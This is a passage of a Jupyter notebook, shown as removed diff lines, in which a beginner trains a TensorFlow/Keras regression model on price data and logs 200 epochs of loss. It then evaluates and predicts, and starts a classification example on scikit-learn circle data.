"metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\optimizer_v2\\optimizer_v2.py:374: UserWarning: The `lr` argument is deprecated, use `learning_rate` instead.\n", - " warnings.warn(\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/200\n", - "1/1 [==============================] - 0s 396ms/step - loss: 76711.6484 - mae: 76711.6484\n", - "Epoch 2/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 72284.7422 - mae: 72284.7422\n", - "Epoch 3/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 59849.3203 - mae: 59849.3203\n", - "Epoch 4/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 37818.2891 - mae: 37818.2891\n", - "Epoch 5/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 43000.4609 - mae: 43000.4609\n", - "Epoch 6/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 43290.2461 - mae: 43290.2461\n", - "Epoch 7/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 34695.3516 - mae: 34695.3516\n", - "Epoch 8/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 33046.7344 - mae: 33046.7344\n", - "Epoch 9/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 38785.1641 - mae: 38785.1641\n", - "Epoch 10/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 36807.6289 - mae: 36807.6289\n", - "Epoch 11/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 29180.8262 - mae: 29180.8262\n", - "Epoch 12/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 29027.8594 - mae: 29027.8594\n", - "Epoch 13/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 33909.4258 - mae: 33909.4258\n", - "Epoch 14/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 33933.1875 - mae: 33933.1875\n", - "Epoch 15/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 29342.0605 - mae: 29342.0605\n", - "Epoch 16/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 25946.6602 - mae: 25946.6602\n", - "Epoch 17/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 29745.3906 - mae: 29745.3906\n", - "Epoch 18/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 30815.8203 - mae: 30815.8203\n", - "Epoch 19/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 28318.5879 - mae: 28318.5879\n", - "Epoch 20/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 25606.4395 - mae: 25606.4395\n", - "Epoch 21/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 28071.9023 - mae: 28071.9023\n", - "Epoch 22/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 28497.3281 - mae: 28497.3281\n", - "Epoch 23/200\n", - "1/1 [==============================] - 0s 8ms/step - loss: 26525.1992 - mae: 26525.1992\n", - "Epoch 24/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 25873.1113 - mae: 25873.1113\n", - "Epoch 25/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 27477.7832 - mae: 27477.7832\n", - "Epoch 26/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 26873.7578 - mae: 26873.7578\n", - "Epoch 27/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 25273.7344 - mae: 25273.7344\n", - "Epoch 28/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 26316.4238 - mae: 26316.4238\n", - "Epoch 29/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 26920.7441 - mae: 26920.7441\n", - "Epoch 30/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 25743.0195 - mae: 25743.0195\n", - "Epoch 31/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 25320.5254 - mae: 25320.5254\n", - "Epoch 32/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 26271.9238 - mae: 26271.9238\n", - "Epoch 33/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 26225.8594 - mae: 26225.8594\n", - "Epoch 34/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 25299.6855 - mae: 25299.6855\n", - "Epoch 35/200\n", - "1/1 [==============================] - 0s 9ms/step - loss: 25378.7129 - mae: 25378.7129\n", - "Epoch 36/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 26104.2441 - mae: 26104.2441\n", - "Epoch 37/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 25919.7305 - mae: 25919.7305\n", - "Epoch 38/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 25084.5781 - mae: 25084.5781\n", - "Epoch 39/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 25116.6523 - mae: 25116.6523\n", - "Epoch 40/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 25647.9707 - mae: 25647.9707\n", - "Epoch 41/200\n", - "1/1 [==============================] - 0s 8ms/step - loss: 25100.8066 - mae: 25100.8066\n", - "Epoch 42/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 24410.5020 - mae: 24410.5020\n", - "Epoch 43/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 25072.0371 - mae: 25072.0371\n", - "Epoch 44/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 24661.6191 - mae: 24661.6191\n", - "Epoch 45/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 24089.8320 - mae: 24089.8320\n", - "Epoch 46/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 24300.3965 - mae: 24300.3965\n", - "Epoch 47/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 23972.8906 - mae: 23972.8906\n", - "Epoch 48/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 23900.4180 - mae: 23900.4180\n", - "Epoch 49/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 23722.1270 - mae: 23722.1270\n", - "Epoch 50/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 23659.4453 - mae: 23659.4453\n", - "Epoch 51/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 23483.5293 - mae: 23483.5293\n", - "Epoch 52/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 23363.4805 - mae: 23363.4805\n", - "Epoch 53/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 23212.0352 - mae: 23212.0352\n", - "Epoch 54/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 22989.3750 - mae: 22989.3750\n", - "Epoch 55/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 22910.9492 - mae: 22910.9492\n", - "Epoch 56/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 22662.7852 - mae: 22662.7852\n", - "Epoch 57/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 22461.1152 - mae: 22461.1152\n", - "Epoch 58/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 22336.0312 - mae: 22336.0312\n", - "Epoch 59/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 21990.1445 - mae: 21990.1445\n", - "Epoch 60/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 21716.6484 - mae: 21716.6484\n", - "Epoch 61/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 21274.3730 - mae: 21274.3730\n", - "Epoch 62/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 21242.9180 - mae: 21242.9180\n", - "Epoch 63/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 21744.9863 - mae: 21744.9863\n", - "Epoch 64/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 21303.9844 - mae: 21303.9844\n", - "Epoch 65/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 20742.4609 - mae: 20742.4609\n", - "Epoch 66/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 20057.8281 - mae: 20057.8281\n", - "Epoch 67/200\n", - "1/1 [==============================] - 0s 8ms/step - loss: 20146.8926 - mae: 20146.8926\n", - "Epoch 68/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 19400.4453 - mae: 19400.4453\n", - "Epoch 69/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 19581.0430 - mae: 19581.0430\n", - "Epoch 70/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 19332.4863 - mae: 19332.4863\n", - "Epoch 71/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 19015.7773 - mae: 19015.7773\n", - "Epoch 72/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18882.3594 - mae: 18882.3594\n", - "Epoch 73/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18023.3770 - mae: 18023.3770\n", - "Epoch 74/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 17750.2168 - mae: 17750.2168\n", - "Epoch 75/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 17445.4141 - mae: 17445.4141\n", - "Epoch 76/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 17344.3359 - mae: 17344.3359\n", - "Epoch 77/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17077.1133 - mae: 17077.1133\n", - "Epoch 78/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 17352.9883 - mae: 17352.9883\n", - "Epoch 79/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15538.9541 - mae: 15538.9541\n", - "Epoch 80/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15401.3252 - mae: 15401.3252\n", - "Epoch 81/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 20229.8320 - mae: 20229.8320\n", - "Epoch 82/200\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 5ms/step - loss: 17843.9238 - mae: 17843.9238\n", - "Epoch 83/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16058.2773 - mae: 16058.2773\n", - "Epoch 84/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13990.6084 - mae: 13990.6084\n", - "Epoch 85/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 20338.1816 - mae: 20338.1816\n", - "Epoch 86/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 15026.4941 - mae: 15026.4941\n", - "Epoch 87/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 20196.2969 - mae: 20196.2969\n", - "Epoch 88/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13813.3936 - mae: 13813.3936\n", - "Epoch 89/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 12940.9170 - mae: 12940.9170\n", - "Epoch 90/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14100.2061 - mae: 14100.2061\n", - "Epoch 91/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 12177.1074 - mae: 12177.1074\n", - "Epoch 92/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 12259.3252 - mae: 12259.3252\n", - "Epoch 93/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 15105.1953 - mae: 15105.1953\n", - "Epoch 94/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 12215.1377 - mae: 12215.1377\n", - "Epoch 95/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 11826.3672 - mae: 11826.3672\n", - "Epoch 96/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 18210.8105 - mae: 18210.8105\n", - "Epoch 97/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 10798.2637 - mae: 10798.2637\n", - "Epoch 98/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16244.8604 - mae: 16244.8604\n", - "Epoch 99/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 15052.9033 - mae: 15052.9033\n", - "Epoch 100/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13042.6973 - mae: 13042.6973\n", - "Epoch 101/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 11258.1846 - mae: 11258.1846\n", - "Epoch 102/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 11109.5186 - mae: 11109.5186\n", - "Epoch 103/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 14013.1045 - mae: 14013.1045\n", - "Epoch 104/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 16277.7754 - mae: 16277.7754\n", - "Epoch 105/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 9913.2910 - mae: 9913.2910\n", - "Epoch 106/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 17184.6895 - mae: 17184.6895\n", - "Epoch 107/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 11527.0967 - mae: 11527.0967\n", - "Epoch 108/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 10111.2197 - mae: 10111.2197\n", - "Epoch 109/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 13964.9902 - mae: 13964.9902\n", - "Epoch 110/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 9244.4922 - mae: 9244.4922\n", - "Epoch 111/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 9815.3975 - mae: 9815.3975\n", - "Epoch 112/200\n", - "1/1 [==============================] - 0s 9ms/step - loss: 10708.8818 - mae: 10708.8818\n", - "Epoch 113/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 10959.9346 - mae: 10959.9346\n", - "Epoch 114/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 10825.8594 - mae: 10825.8594\n", - "Epoch 115/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8961.8428 - mae: 8961.8428\n", - "Epoch 116/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 10872.2471 - mae: 10872.2471\n", - "Epoch 117/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 10669.3506 - mae: 10669.3506\n", - "Epoch 118/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8097.3647 - mae: 8097.3647\n", - "Epoch 119/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 13193.9561 - mae: 13193.9561\n", - "Epoch 120/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 16582.6777 - mae: 16582.6777\n", - "Epoch 121/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 10666.6738 - mae: 10666.6738\n", - "Epoch 122/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 24293.8555 - mae: 24293.8555\n", - "Epoch 123/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 10639.1445 - mae: 10639.1445\n", - "Epoch 124/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 24635.5645 - mae: 24635.5645\n", - "Epoch 125/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 23714.8613 - mae: 23714.8613\n", - "Epoch 126/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 9451.2119 - mae: 9451.2119\n", - "Epoch 127/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 18403.3320 - mae: 18403.3320\n", - "Epoch 128/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 8148.2656 - mae: 8148.2656\n", - "Epoch 129/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 16026.8477 - mae: 16026.8477\n", - "Epoch 130/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 10909.8174 - mae: 10909.8174\n", - "Epoch 131/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 13879.3184 - mae: 13879.3184\n", - "Epoch 132/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 13577.9697 - mae: 13577.9697\n", - "Epoch 133/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 8921.8350 - mae: 8921.8350\n", - "Epoch 134/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 11708.6221 - mae: 11708.6221\n", - "Epoch 135/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 7534.6895 - mae: 7534.6895\n", - "Epoch 136/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 10943.2734 - mae: 10943.2734\n", - "Epoch 137/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 9949.8877 - mae: 9949.8877\n", - "Epoch 138/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 8916.8447 - mae: 8916.8447\n", - "Epoch 139/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 10248.8223 - mae: 10248.8223\n", - "Epoch 140/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 6827.2002 - mae: 6827.2002\n", - "Epoch 141/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7846.2637 - mae: 7846.2637\n", - "Epoch 142/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 6481.6489 - mae: 6481.6489\n", - "Epoch 143/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 7898.1914 - mae: 7898.1914\n", - "Epoch 144/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 6931.2988 - mae: 6931.2988\n", - "Epoch 145/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 7456.4116 - mae: 7456.4116\n", - "Epoch 146/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 7064.2310 - mae: 7064.2310\n", - "Epoch 147/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7123.8525 - mae: 7123.8525\n", - "Epoch 148/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7839.6855 - mae: 7839.6855\n", - "Epoch 149/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 8956.4883 - mae: 8956.4883\n", - "Epoch 150/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 7045.1147 - mae: 7045.1147\n", - "Epoch 151/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8443.0254 - mae: 8443.0254\n", - "Epoch 152/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9702.8691 - mae: 9702.8691\n", - "Epoch 153/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 8203.4590 - mae: 8203.4590\n", - "Epoch 154/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 11156.1260 - mae: 11156.1260\n", - "Epoch 155/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 6635.4155 - mae: 6635.4155\n", - "Epoch 156/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9911.5615 - mae: 9911.5615\n", - "Epoch 157/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 6523.6133 - mae: 6523.6133\n", - "Epoch 158/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 7249.8955 - mae: 7249.8955\n", - "Epoch 159/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 8194.3330 - mae: 8194.3330\n", - "Epoch 160/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7026.0176 - mae: 7026.0176\n", - "Epoch 161/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 8590.9365 - mae: 8590.9365\n", - "Epoch 162/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7273.7202 - mae: 7273.7202\n", - "Epoch 163/200\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 4ms/step - loss: 10581.4033 - mae: 10581.4033\n", - "Epoch 164/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 6781.6270 - mae: 6781.6270\n", - "Epoch 165/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9935.4922 - mae: 9935.4922\n", - "Epoch 166/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 6269.8018 - mae: 6269.8018\n", - "Epoch 167/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7526.5811 - mae: 7526.5811\n", - "Epoch 168/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 5901.0898 - mae: 5901.0898\n", - "Epoch 169/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 7177.6040 - mae: 7177.6040\n", - "Epoch 170/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7498.6602 - mae: 7498.6602\n", - "Epoch 171/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 6860.7153 - mae: 6860.7153\n", - "Epoch 172/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 6751.4780 - mae: 6751.4780\n", - "Epoch 173/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 8885.4561 - mae: 8885.4561\n", - "Epoch 174/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7726.1685 - mae: 7726.1685\n", - "Epoch 175/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9601.7559 - mae: 9601.7559\n", - "Epoch 176/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 5930.1157 - mae: 5930.1157\n", - "Epoch 177/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 7903.4619 - mae: 7903.4619\n", - "Epoch 178/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 7182.6929 - mae: 7182.6929\n", - "Epoch 179/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 9563.4609 - mae: 9563.4609\n", - "Epoch 180/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 6794.3501 - mae: 6794.3501\n", - "Epoch 181/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 11053.2842 - mae: 11053.2842\n", - "Epoch 182/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 6146.8853 - mae: 6146.8853\n", - "Epoch 183/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 7886.0874 - mae: 7886.0874\n", - "Epoch 184/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 6427.8486 - mae: 6427.8486\n", - "Epoch 185/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 8089.5586 - mae: 8089.5586\n", - "Epoch 186/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 5982.1387 - mae: 5982.1387\n", - "Epoch 187/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 8833.8242 - mae: 8833.8242\n", - "Epoch 188/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 6385.7881 - mae: 6385.7881\n", - "Epoch 189/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 10211.5723 - mae: 10211.5723\n", - "Epoch 190/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 6327.6426 - mae: 6327.6426\n", - "Epoch 191/200\n", - "1/1 [==============================] - 0s 3ms/step - loss: 11082.3809 - mae: 11082.3809\n", - "Epoch 192/200\n", - "1/1 [==============================] - 0s 5ms/step - loss: 10020.9189 - mae: 10020.9189\n", - "Epoch 193/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 6956.7690 - mae: 6956.7690\n", - "Epoch 194/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 6377.7573 - mae: 6377.7573\n", - "Epoch 195/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 6459.3755 - mae: 6459.3755\n", - "Epoch 196/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 6473.3940 - mae: 6473.3940\n", - "Epoch 197/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 5817.4292 - mae: 5817.4292\n", - "Epoch 198/200\n", - "1/1 [==============================] - 0s 7ms/step - loss: 6661.3467 - mae: 6661.3467\n", - "Epoch 199/200\n", - "1/1 [==============================] - 0s 4ms/step - loss: 6344.3530 - mae: 6344.3530\n", - "Epoch 200/200\n", - "1/1 [==============================] - 0s 6ms/step - loss: 6798.8926 - mae: 6798.8926\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 79, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "tf.random.set_seed(42)\n", - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(100,activation=\"relu\"), tf.keras.layers.Dense(100,activation=\"relu\"),tf.keras.layers.Dense(1)]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.Adam(lr=0.1), metrics=[\"mae\"])\n", - "# mae = mean absolute error \n", - "#Fit the model\n", - "model.fit(X_train,y_train,epochs=200, verbose=1) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 80, - "id": "a0614ee6", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "WARNING:tensorflow:6 out of the last 8 calls to .test_function at 0x00000293CDB0B9D0> triggered tf.function retracing. Tracing is expensive and the excessive number of tracings could be due to (1) creating @tf.function repeatedly in a loop, (2) passing tensors with different shapes, (3) passing Python objects instead of tensors. For (1), please define your @tf.function outside of the loop. For (2), @tf.function has experimental_relax_shapes=True option that relaxes argument shapes that can avoid unnecessary retracing. For (3), please refer to https://www.tensorflow.org/guide/function#controlling_retracing and https://www.tensorflow.org/api_docs/python/tf/function for more details.\n", - "1/1 [==============================] - 0s 141ms/step - loss: 28944.6621 - mae: 28944.6621\n" - ] - }, - { - "data": { - "text/plain": [ - "[28944.662109375, 28944.662109375]" - ] - }, - "execution_count": 80, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model.evaluate(X_test,y_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 81, - "id": "4b006977", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(array([[ 96245.46],\n", - " [127722.37],\n", - " [101320.23],\n", - " [ 48005.51],\n", - " [ 49321.54],\n", - " [ 37889.12]], dtype=float32),\n", - " 2 35999\n", - " 16 56990\n", - " 19 74931\n", - " 14 45390\n", - " 15 40338\n", - " 13 42590\n", - " Name: Price, dtype: int64)" - ] - }, - "execution_count": 81, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "y_pred=model.predict(X_test)\n", - "y_pred,y_test" - ] - }, - { - "cell_type": "markdown", - "id": "557fb6ae", - "metadata": {}, - "source": [ - "# Classification Tensor Model" - ] - }, - { - "cell_type": "code", - "execution_count": 82, - "id": "d3ebdaad", - "metadata": {}, - "outputs": [], - "source": [ - "# Sample data ( Circle data)\n", - "from sklearn.datasets import make_circles\n", - "\n", - "# Make 1000 examples\n", - "n_samples = 1000\n", - "\n", - "# Create circles\n", - "X, y = make_circles(n_samples, \n", - " noise=0.03, \n", - " random_state=42)" - ] - }, - { - "cell_type": "code", - "execution_count": 83, - "id": "7c463348", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(array([[ 0.75424625, 0.23148074],\n", - " [-0.75615888, 0.15325888],\n", - " [-0.81539193, 0.17328203],\n", - " ...,\n", - " [-0.13690036, -0.81001183],\n", - " [ 0.67036156, -0.76750154],\n", - " [ 0.28105665, 0.96382443]]),\n", - " array([1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0,\n", - " 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1,\n", - " 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1,\n", - " 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1,\n", - " 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1,\n", - " 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1,\n", - " 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0,\n", - " 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0,\n", - " 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0,\n", - " 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1,\n", - " 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0,\n", - " 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0,\n", - " 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1,\n", - " 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1,\n", - " 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0,\n", - " 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0,\n", - " 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0,\n", - " 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0,\n", - " 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1,\n", - " 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1,\n", - " 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0,\n", - " 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 